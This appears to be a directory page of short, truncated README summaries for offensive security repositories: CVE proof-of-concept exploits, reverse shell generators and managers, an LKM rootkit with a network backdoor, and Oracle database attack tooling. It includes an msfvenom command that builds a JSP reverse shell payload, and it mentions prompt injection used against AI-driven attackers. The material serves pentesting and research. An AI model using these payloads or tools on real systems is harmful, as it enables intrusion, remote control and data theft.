Fast-CVE-2022-22965

Target Machine docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell essentially references msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp After URL encoding the JSP, use %3C%25 replaces %25%7Bc2%7Di representing In the code, the...

CVE-2025-60787

CVE-2025-60787 - Authenticated RCE in motionEye PoC for CVE-2025-60787 that is an Authenticated RCE vulnerability for motionEye with all afected versions up to 0.43.1b4 included. This is an automated PoC for the vulnerability described in this repository. Credits to prabhatverma47. Usage The scri...

secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers Features • Usage • Installation • License • secbutler is a utility tool made for pentesters , bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing...

pentestkoala

Koala is a patched version of the dropbear SSH server that instead of binding to a port opens up reverse shells by connecting to a remote client. This is useful for gaining a pty terminal on an exploited machine and also for secure exfiltration of data via SSH port forwarding. Pivoting can also b...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle Artifact Upload PoC This project demonstrates how to dynamically upload a pickle artifact to ClearML...

HTTP-Shell

HTTP-Shell HTTP-Shell is Multiplatform Reverse Shell. This tool helps you to obtain a shell-like interface on a reverse connection over HTTP. Unlike other reverse shells, the main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as...

project_mantis

Project Mantis: Hacking Back the AI-Hacker Prompt Injection as a Defense Against LLM-driven Cyberattacks Install Mantis pip install -r requirements.txt Run Mantis with pre-made configurations Various pre-made configurations are available in the ./confs directory. Hack-back An example of a Mantis...

CVE-2025-3248

CVE-2025-3248 Remote Code Execution using vulnerable API endpoint Proof of Concept. Info: ⚠️ Use this at your own risk! ❓ Added option to reverse shell. ✅ Auto retry if validatecode is off. Showcase Usage python CVE-2025-3248.py / python3 CVE-2025-3248.py Footprint By using this tool, you agree...

OpenShell

OpenShell OpenShell is a lightweight, open-source reverse shell management server written in Go. It allows users to establish reverse shell channels and interact with them through a simple web-based graphical user interface GUI. If you encounter bugs or have suggestions, feel free to open an issu...

log4shell4shell

log4shell4shell Log4j - Multitool. Find & fix possible CVE-2021-44228 vulneraries - provides a complete LOG4SHELL test/attack environment Features Check your Linux/Mac/BSD and Windows System for CVE-2021-44228 vulneraries Fix your system by deleting log4j java class / or setting some enviroment...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL Target URL -c COMMAND, --command COMMAND Command -i LHOST, --lhost LHOST Reverse shell host address -p LPORT, --lport LPORT Reverse shell host port -f FILE, --file FILE Batch scan...

rustcat

rustcat - 现代端口监听器和反向Shell Rustcat是什么 Rustcat 是一个易于使用的端口监听器和反向Shell，支持Linux、MacOS和Windows，旨在简单易用且易于访问。 模式 监听模式 listen； 反向Shell模式 connect； 功能特性 命令历史与Tab补全（交互模式）； 阻止CTRL-C； 彩色输出； 一切简单； 安装 查看安装指南。或者如果你想便携使用，请查看最新发布 使用说明 最基本的监听端口示例为（你甚至可以在rustcat中运行vim）： rcat listen -ib 55600 连接示例： rcat connect -s bas...

CVE-2022-22963-POC

CVE-2022-22963 Exploit Description In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Vulnerability Description Webmin 1.984 and below - File Manager privilege exploit CVE-2022-0824 and CVE-2022-0829 Less privileged Webmin users who do not have any File Manager module restrictions configured can access files with root privileges, if using the default...

Umbra

Umbra Umbra is an experimental remotely controllable LKM rootkit for kernels 4.x and 5.x up to 5.7 which opens a network backdoor that can spawn reverse shells to remote hosts, launch malware remotely and much more. The rootkit is still under development, although the features listed below are...

s3reverse

s3reverse 安装 go get $ go get -u github.com/hahwul/s3reverse snap snap install s3reverse brew $ brew tap hahwul/s3reverse $ brew install s3reverse 使用方法 输入选项 基本用法 8""""8 eeee 8"""8 8"""" 88 8 8"""" 8"""8 8""""8 8"""" 8 8 8 8 8 88 8 8 8 8 8 8 8eeeee 8 8eee8e 8eeee 88 e8 8eeee 8eee8e 8eeeee 8eeee 88...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

revshellgen

🚀 RevShellGen 反向 Shell 生成器 以优雅的方式自动化反向 Shell 生成 生成、编码、捕获反向 Shell，省去繁琐操作 功能 • 安装 • 用法 • Shell 类型 • 贡献 📖 关于 RevShellGen 是一个强大的命令行工具，简化了生成反向 Shell 命令的过程。无需再查找语法，无需手动编码，无需头疼的配置。本工具通过直观的界面处理一切。 🎯 主要功能 🖥️ 交互式 CLI - 用户友好的菜单驱动界面 🔄 自动编码 - 支持 URL 和 Base64 编码 📋 剪贴板集成 - 自动复制生成的命令 🌐 网络检测 - 自动发现 IP 地址 🎨 多种...

odat

Quentin HARDY --- [email protected] [email protected] ODAT ODAT （Oracle数据库攻击工具）是一个开源渗透测试工具，用于远程测试Oracle数据库的安全性。 ODAT的使用示例： 你有一个远程监听的Oracle数据库，想要找到有效的SID和凭据以连接到数据库 你有一个有效的Oracle数据库账户，想要提升权限成为DBA或SYSDBA 你有一个Oracle账户，想要执行系统命令（例如反向shell）以在托管数据库的操作系统上进一步推进 已在Oracle Database 10g 、11g 、12c...

reverse_ssh

Reverse SSH Art credit to https://www.instagram.com/smart.hedgehog.art/ Want to use SSH for reverse shells? Now you can. Manage and connect to reverse shells with native SSH syntax Dynamic, local and remote forwarding Native SCP and SFTP implementations for retrieving files from your targets Full...